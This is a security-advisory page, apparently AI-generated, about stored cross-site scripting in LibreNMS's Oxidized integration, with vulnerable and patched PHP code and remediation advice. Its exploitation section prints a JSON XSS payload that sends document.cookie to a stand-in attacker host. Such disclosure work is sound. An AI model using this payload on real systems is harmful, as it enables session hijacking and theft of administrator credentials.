CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-7GWW-X7FH-JF9J

GHSA-7GWW-X7FH-JF9J: SSRF-Driven Stored Cross-Site Scripting in LibreNMS Oxidized Integration

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 19, 2026·6 min read·2 visits

Executive Summary (TL;DR)

A high-severity SSRF-driven Stored XSS vulnerability in LibreNMS prior to 26.7.0 allows attackers to execute arbitrary JavaScript in the user's browser via unescaped Oxidized configuration fields.

An injection vulnerability in LibreNMS's Oxidized integration component allows administrative or network-positioned attackers to achieve stored cross-site scripting (XSS). By setting a malicious oxidized.url endpoint, the server makes outbound queries and processes returned JSON fields containing malicious HTML or JavaScript. These payloads are outputted directly in the web UI without appropriate output encoding.

Vulnerability Overview

The Oxidized integration within LibreNMS provides network administrators with a unified interface to track device configuration backups and view historic differentials. By communicating with an external Oxidized API endpoint configured via the global settings, the LibreNMS application can query specific metadata regarding individual network assets. This integration introduces an attack surface that relies heavily on the server executing internal backend requests and parsing untrusted remote payloads.

When the LibreNMS dashboard requests device-specific information, it communicates with the endpoint defined in the oxidized.url setting. This dynamic data exchange involves retrieval of JSON-formatted data representing node classifications, IP addresses, models, and version control details. The architecture presumes a high level of trust in the backend API server, making it vulnerable to scenarios where the source URL points to an attacker-controlled listener.

The vulnerability arises because the web client does not sanitize input retrieved via these back-end API queries. Consequently, if an attacker successfully controls the Oxidized endpoint configuration, they can inject malicious payloads into JSON fields. When a legitimate operator accesses the showconfig interface, these payloads are fetched and rendered inside the browser DOM, bypassing the client-server trust boundary.

Root Cause Analysis

The core vulnerability is identified as a stored cross-site scripting (XSS) vulnerability classified under CWE-79, triggered via a server-side request forgery (SSRF) style configuration mechanism classified under CWE-918. The underlying application flaw resides in the presentation file includes/html/pages/device/showconfig.inc.php. This module parses JSON elements returned by the Oxidized integration without verifying their structural integrity or sanitizing their contents.

During standard operations, the application retrieves node attributes and maps them directly into local array keys such as $node_info['name'], $node_info['ip'], and $node_info['model']. Following the payload parsing stage, the script outputs these strings directly into the HTML document using PHP echo statements. Because the values are directly concatenated with HTML tags, the application interprets any nested script elements or event handlers as raw HTML instructions.

The exploitation process is further facilitated by the lack of structural validation on the API responses. The server makes an outbound HTTP connection to the destination specified in the database configuration, processes the response body as trusted JSON, and directly reflects the parsed values onto the DOM. To trigger this condition, an attacker must have administrative control or session hijacking capabilities to modify the oxidized.url variable, or must compromise the network route to act as a man-in-the-middle.

Code Analysis

An inspection of the vulnerable source code in includes/html/pages/device/showconfig.inc.php highlights the lack of output encoding. The variables are written to the document output stream via raw concatenation.

// Vulnerable Code Path
echo '<li class="list-group-item"><strong>Node:</strong> ' . $node_info['name'] . '</li>';
echo '<li class="list-group-item"><strong>IP:</strong> ' . $node_info['ip'] . '</li>';
echo '<li class="list-group-item"><strong>Model:</strong> ' . $node_info['model'] . '</li>';

To remedy this injection vector, the development team introduced context-aware sanitization by routing all extracted variables through the PHP built-in htmlspecialchars() function. The patched implementation enforces strict HTML entity conversion, transforming control characters like < and > into their safe text equivalents (&lt; and &gt;).

// Patched Code Path
echo '<li class="list-group-item"><strong>Node:</strong> ' . htmlspecialchars($node_info['name'], ENT_QUOTES, 'UTF-8') . '</li>';
echo '<li class="list-group-item"><strong>IP:</strong> ' . htmlspecialchars($node_info['ip'], ENT_QUOTES, 'UTF-8') . '</li>';
echo '<li class="list-group-item"><strong>Model:</strong> ' . htmlspecialchars($node_info['model'], ENT_QUOTES, 'UTF-8') . '</li>';

Applying ENT_QUOTES ensures both single and double quotes are correctly converted, preventing payload breakouts from within HTML attributes. The explicit specification of the UTF-8 character set prevents multi-byte character encoding bypasses, ensuring complete neutralization of malicious input across all output regions of the showconfig page.

Exploitation Methodology

The attack scenario relies on setting a malicious Oxidized endpoint. An attacker with access to administrative configuration settings changes the oxidized.url variable to an external host under their direct control, such as http://attacker.example.com.

Once the target URL is modified, the attacker configures their server to mimic a legitimate Oxidized API interface. When the LibreNMS server executes its backend request to fetch configuration data, the rogue server returns a payload-laden JSON object.

{
  "name": "<img src=x onerror=\"alert('SSRF-XSS-oxidized')\">",
  "ip": "192.168.1.1",
  "model": "Generic-Switch",
  "author": "<script>fetch('http://attacker.example.com/steal?cookie='+document.cookie)</script>",
  "msg": "Malicious config commit"
}

When an operator views the showconfig page, the backend fetches this JSON and outputs the unescaped script fragments. The operator's browser executes the script, transmitting cookie identifiers and anti-CSRF tokens back to the attacker's server.

Impact Assessment

The security impact of this vulnerability is assessed with a High severity rating, reflecting a CVSS score of 8.1. The attack vector is Network-based, and complexity remains low since exploitation steps do not depend on environmental variables or memory-alignment layouts.

Because the execution occurs directly within the active browser session of users, the scope of the vulnerability changes from the local database settings to the client-side execution environment. A successful exploit allows the attacker to execute arbitrary JavaScript code with the permissions of the viewing user. If the viewing user possesses super-administrator privileges, this execution can be leveraged to hijack sessions or modify system configurations.

The lack of immediate availability impact does not minimize the security risk. Attackers can leverage the active XSS vectors to perform administrative state changes on the monitoring server, such as provisioning additional administrative keys, altering automated network discovery rules, or modifying integration settings to compromise other devices.

Remediation & Detection Guidance

Remediation requires updating LibreNMS to version 26.7.0 or later, which incorporates the output escaping patch. For deployments where immediate patch implementation is not possible, specific temporary mitigation strategies should be enforced.

First, restrict write permissions for the configuration page and block unauthorized access to the database where integration settings are stored. Administrators can manually disable the Oxidized integration in the config directory to prevent any background connections to the external URL.

Second, implement network segregation on the LibreNMS server to prevent arbitrary outbound connections. By configuring local firewall rules that block outbound traffic on ports 80 and 443 to non-whitelisted addresses, organizations can limit the risk of server-side request forgery (SSRF) and mitigate the retrieval of malicious JSON payloads.

Official Patches

LibreNMSLibreNMS Release 26.7.0 Notes and official update package.

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Affected Systems

LibreNMS Network Monitoring System

Affected Versions Detail

Product
Affected Versions
Fixed Version
LibreNMS
LibreNMS
< 26.7.026.7.0
AttributeDetail
CWE IDCWE-79 / CWE-918
Attack VectorNetwork (AV:N)
CVSS v3.1 Score8.1 (High)
EPSS ScoreN/A
ImpactStored Cross-Site Scripting (XSS) / Privilege Escalation
Exploit StatusProof of Concept (PoC) available
KEV StatusNot listed

MITRE ATT&CK Mapping

T1539Steal Web Session Information
Credential Access
T1565.002Transmitted Data Manipulation
Impact
T1071.001Application Layer Protocol: Web Protocols
Command and Control
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Known Exploits & Detection

GitHub Security AdvisoryAdvisory describing the Stored XSS vulnerability in the Oxidized integration.

Vulnerability Timeline

LibreNMS version 26.7.0 released containing the security fix.
2026-07-20
Vulnerability publicly disclosed as GHSA-7gww-x7fh-jf9j.
2026-08-18

References & Sources

  • [1]GitHub Security Advisory GHSA-7gww-x7fh-jf9j
  • [2]LibreNMS Source Code Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•37 minutes ago•GHSA-7CJ5-V4PP-V632
4.8

GHSA-7cj5-v4pp-v632: Stored Cross-Site Scripting in LibreNMS Graph Descriptions

LibreNMS versions prior to 26.7.0 are vulnerable to a stored Cross-Site Scripting (XSS) vulnerability. An authenticated administrator can inject arbitrary HTML or JavaScript into graph descriptions via specific administrative configuration endpoints. When another authenticated user views the affected graph, the unescaped payload executes within their browser context.

Alon Barad
Alon Barad
0 views•5 min read
•about 3 hours ago•CVE-2026-17106
7.1

CVE-2026-17106: Container-to-Host Arbitrary File Write in moby/go-archive (CopyEscape)

CVE-2026-17106 (CopyEscape) is a container-to-host arbitrary file-write vulnerability within Docker's archiving and extraction library moby/go-archive. By utilizing a Time-of-Check to Time-of-Use (TOCTOU) race condition during the file-walking stage inside a running container, a malicious container process can force the host engine to produce a compromised tar stream. During client-side extraction, the Docker CLI resolves directory entries through absolute symbolic links, resulting in arbitrary file creation or modification on the host system.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 4 hours ago•CVE-2026-73974
5.5

CVE-2026-73974: Local Path Traversal and Privilege Escalation in Linuxfabrik Monitoring Plugins

CVE-2026-73974 is a local path traversal vulnerability in linuxfabrik-lib and Linuxfabrik Monitoring Plugins. Under standard monitoring configurations running with elevated privileges via sudo, this flaw can be exploited by an unprivileged local user to read arbitrary root-only files, resulting in local privilege escalation.

Alon Barad
Alon Barad
4 views•5 min read
•about 5 hours ago•CVE-2026-71417
7.3

CVE-2026-71417: Authorization Bypass Leading to Unauthorized TLS Certificate Revocation in Netflix Lemur

CVE-2026-71417 is an authorization bypass vulnerability (CWE-639) in Netflix Lemur, an open-source TLS certificate management framework. In versions prior to 1.9.3, a low-privileged authenticated user can bypass role and certificate-level permission boundaries to revoke arbitrary managed TLS certificates at the upstream Certificate Authority (CA). This vulnerability stems from an architectural issue where Lemur evaluates authorization against internal database row ownership rather than the unique, cryptographic identity of the certificate. An attacker can exploit this flaw by uploading a duplicate record of a target certificate and requesting its revocation, triggering a downstream CA-side revocation and a subsequent denial-of-service (DoS) condition for services relying on the target certificate.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-68927
3.0

CVE-2026-68927: Server-Side Request Forgery Port Restriction Bypass in Mobile Security Framework (MobSF)

A Server-Side Request Forgery (SSRF) vulnerability exists in Mobile Security Framework (MobSF) prior to version 4.5.1. The flaw occurs in the Android App Link validation process, where a split-validation vulnerability allows an authenticated attacker to perform port restriction bypasses and potential DNS rebinding attacks against internal infrastructure.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 7 hours ago•CVE-2026-68923
6.5

CVE-2026-68923: Cross-Site Request Forgery (CSRF) in Mobile Security Framework (MobSF)

CVE-2026-68923 describes a critical security regression in the Mobile Security Framework (MobSF) where vital security middleware, including Cross-Site Request Forgery (CSRF) validation, clickjacking protection, and standard HTTP security controls, was deactivated. The vulnerability arose from a partial migration of Django's middleware settings, which silently omitted security-critical components while preserving legacy definitions. Authenticated sessions on vulnerable instances were left exposed to arbitrary administrative state modifications initiated via cross-site vectors.

Amit Schendel
Amit Schendel
4 views•6 min read